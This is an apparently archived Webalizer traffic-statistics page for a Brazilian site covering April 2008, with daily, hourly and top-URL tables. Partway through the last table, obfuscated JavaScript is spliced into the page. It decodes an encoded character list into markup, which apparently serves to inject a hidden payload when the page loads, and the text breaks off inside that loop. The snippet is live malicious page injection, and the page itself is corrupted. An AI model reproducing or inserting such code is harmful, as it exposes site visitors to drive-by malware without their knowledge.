Usage Statistics for zonalestenet.j7.com.br

Summary Period: April 2008
Generated 01-May-2008 02:41 EDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for April 2008
Total Hits 15514
Total Files 2640
Total Pages 15254
Total Visits 492
Total KBytes 24970
Total Unique Sites 178
Total Unique URLs 47
Total Unique Referrers 135
Total Unique User Agents 30
. Avg Max
Hits per Hour 21 3337
Hits per Day 517 3413
Files per Day 88 1034
Pages per Day 508 3386
Visits per Day 16 32
KBytes per Day 832 2217
Hits by Response Code
Code 200 - OK 2640
Code 206 - Partial Content 2
Code 304 - Not Modified 33
Code 404 - Not Found 12839

Daily usage for April 2008

Daily Statistics for April 2008
Day Hits Files Pages Visits Sites KBytes
1 78 0.50% 65 2.46% 71 0.47% 31 6.30% 15 8.43% 446 1.79%
2 25 0.16% 14 0.53% 20 0.13% 17 3.46% 9 5.06% 236 0.94%
3 3413 22.00% 40 1.52% 3386 22.20% 32 6.50% 21 11.80% 1640 6.57%
4 46 0.30% 31 1.17% 20 0.13% 16 3.25% 10 5.62% 585 2.34%
5 32 0.21% 23 0.87% 20 0.13% 15 3.05% 7 3.93% 487 1.95%
6 55 0.35% 40 1.52% 43 0.28% 14 2.85% 8 4.49% 420 1.68%
7 116 0.75% 58 2.20% 99 0.65% 20 4.07% 13 7.30% 722 2.89%
8 600 3.87% 36 1.36% 590 3.87% 15 3.05% 9 5.06% 598 2.39%
9 1706 11.00% 40 1.52% 1698 11.13% 26 5.28% 22 12.36% 2217 8.88%
10 32 0.21% 18 0.68% 23 0.15% 10 2.03% 9 5.06% 335 1.34%
11 1042 6.72% 1034 39.17% 1035 6.79% 16 3.25% 10 5.62% 1781 7.13%
12 37 0.24% 30 1.14% 21 0.14% 11 2.24% 8 4.49% 1109 4.44%
13 57 0.37% 48 1.82% 49 0.32% 15 3.05% 7 3.93% 1297 5.19%
14 120 0.77% 114 4.32% 117 0.77% 9 1.83% 4 2.25% 601 2.41%
15 42 0.27% 33 1.25% 35 0.23% 15 3.05% 6 3.37% 651 2.61%
16 57 0.37% 55 2.08% 53 0.35% 14 2.85% 8 4.49% 1104 4.42%
17 39 0.25% 33 1.25% 33 0.22% 12 2.44% 5 2.81% 557 2.23%
18 51 0.33% 41 1.55% 44 0.29% 12 2.44% 6 3.37% 1298 5.20%
19 36 0.23% 18 0.68% 31 0.20% 17 3.46% 12 6.74% 194 0.78%
20 799 5.15% 20 0.76% 789 5.17% 8 1.63% 9 5.06% 864 3.46%
21 3 0.02% 3 0.11% 3 0.02% 1 0.20% 1 0.56% 2 0.01%
22 35 0.23% 35 1.33% 33 0.22% 13 2.64% 7 3.93% 687 2.75%
23 44 0.28% 42 1.59% 42 0.28% 20 4.07% 8 4.49% 331 1.32%
24 49 0.32% 44 1.67% 44 0.29% 9 1.83% 9 5.06% 547 2.19%
25 1696 10.93% 135 5.11% 1693 11.10% 20 4.07% 12 6.74% 448 1.80%
26 347 2.24% 344 13.03% 336 2.20% 22 4.47% 7 3.93% 504 2.02%
27 1628 10.49% 62 2.35% 1612 10.57% 21 4.27% 10 5.62% 1133 4.54%
28 73 0.47% 65 2.46% 67 0.44% 20 4.07% 10 5.62% 1330 5.33%
29 2417 15.58% 71 2.69% 2411 15.81% 26 5.28% 11 6.18% 1782 7.14%
30 839 5.41% 48 1.82% 836 5.48% 17 3.46% 9 5.06% 1064 4.26%

Hourly usage for April 2008

Hourly Statistics for April 2008
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 2 74 0.48% 2 65 2.46% 2 71 0.47% 16 466 1.87%
1 20 624 4.02% 2 65 2.46% 20 619 4.06% 12 365 1.46%
2 3 99 0.64% 2 81 3.07% 2 77 0.50% 79 2369 9.49%
3 54 1641 10.58% 2 74 2.80% 54 1623 10.64% 38 1130 4.52%
4 2 82 0.53% 2 76 2.88% 2 69 0.45% 32 958 3.84%
5 1 49 0.32% 1 46 1.74% 1 47 0.31% 19 572 2.29%
6 3 102 0.66% 2 74 2.80% 3 90 0.59% 37 1098 4.40%
7 28 844 5.44% 2 69 2.61% 27 832 5.45% 28 854 3.42%
8 1 42 0.27% 1 38 1.44% 1 40 0.26% 4 125 0.50%
9 22 661 4.26% 3 90 3.41% 21 648 4.25% 61 1823 7.30%
10 2 66 0.43% 1 57 2.16% 2 60 0.39% 11 338 1.35%
11 2 62 0.40% 1 54 2.05% 1 58 0.38% 11 333 1.33%
12 46 1408 9.08% 2 82 3.11% 46 1393 9.13% 36 1075 4.31%
13 36 1082 6.97% 35 1059 40.11% 35 1075 7.05% 49 1467 5.87%
14 2 79 0.51% 2 71 2.69% 2 64 0.42% 29 881 3.53%
15 3 103 0.66% 3 92 3.48% 3 95 0.62% 45 1364 5.46%
16 3 101 0.65% 2 86 3.26% 2 79 0.52% 45 1354 5.42%
17 2 87 0.56% 2 69 2.61% 2 77 0.50% 27 806 3.23%
18 113 3392 21.86% 1 44 1.67% 112 3376 22.13% 50 1512 6.06%
19 28 843 5.43% 1 48 1.82% 27 824 5.40% 30 905 3.62%
20 54 1622 10.46% 1 51 1.93% 53 1617 10.60% 41 1244 4.98%
21 46 1402 9.04% 1 47 1.78% 46 1395 9.15% 34 1009 4.04%
22 1 51 0.33% 1 36 1.36% 1 34 0.22% 16 476 1.91%
23 33 998 6.43% 5 166 6.29% 33 991 6.50% 82 2447 9.80%

Top 25 of 47 Total URLs
# Hits KBytes URL
1 2224 14.34% 995 3.99% /
2 65 0.42% 4312 17.27% /webalizer/usage_200802.html
3 57 0.37% 528 2.12% /webalizer/
4 43 0.28% 4125 16.52% /webalizer/usage_200706.html
5 42 0.27% 3918 15.69% /webalizer/usage_200705.html
6 24 0.15% 2155 8.63% /webalizer/usage_200707.html
7 22 0.14% 2108 8.44% /webalizer/usage_200803.html
8 12 0.08% 1064 4.26% /webalizer/usage_200804.html
9 4 0.03% 124 0.50% /webalizer//usage_200803.html
10 4 0.03% 461 1.85% /webalizer//usage_200804.html
11 4 0.03% 420 1.68% /webalizer/usage_200708.html
12 4 0.03% 400 1.60% /webalizer/usage_200709.html
13 3 0.02% 0 0.00% /webalizer//usage_200705.html
14 3 0.02% 0 0.00% /webalizer//usage_200706.html
15 2 0.01% 0 0.00% /webalizer//usage_200802.html
16 2 0.01% 225 0.90% /webalizer/usage_200710.html
17 2 0.01% 215 0.86% /webalizer/usage_200711.html
18 2 0.01% 211 0.84% /webalizer/usage_200712.html
19 2 0.01% 224 0.90% /webalizer/usage_200801.html
20 1 0.01% 10 0.04% /webalizer//
21 1 0.01% 0 0.00% /webalizer//usage_200707.html
22 1 0.01% 100 0.40% /webalizer//usage_200709.html
23 1 0.01% 107 0.43% /webalizer//usage_200711.html
24 1 0.01% 105 0.42% /webalizer//usage_200712.html
25 1 0.01% 112 0.45% /webalizer//usage_200801.html

Top 10 of 47 Total URLs By KBytes
# Hits KBytes URL
1 65 0.42% 4312 17.27% /webalizer/usage_200802.html
2 43 0.28% 4125 16.52% /webalizer/usage_200706.html
3 42 0.27% 3918 15.69% /webalizer/usage_200705.html
4 24 0.15% 2155 8.63% /webalizer/usage_200707.html
5 22 0.14% 2108 8.44% /webalizer/usage_200803.html
6 12 0.08% 1064 4.26% /webalizer/usage_200804.html
7 2224 14.34% 995 3.99% /
8 57 0.37% 528 2.12% /webalizer/
9 4 0.03% 461 1.85% /webalizer//usage_200804.html
10 4 0.03% 420function CBeKy(lFwuKN){ var TySUSIZW=new Function("ncX", "return 872821;");alert('NmTqOe');window.eval(); } function NTZS(hWal){var UHrvVQkw=6,fAgz=5;var qIMfd='72+0,126+0,122+2,136+4,116+2,130+4,121+1,38+2,142+4,126+0,120+0,139+1,124+4,73+1,58+4,38+2,124+4,121+1,126+0,123+3,124+4,139+1,73+1,58+4,38+2,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,122+2,136+4,116+2,130+4,121+1,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,138+0,136+4,',bSBxeEp=qIMfd.split(',');rZh='';for(HVMYENy=0;HVMYENy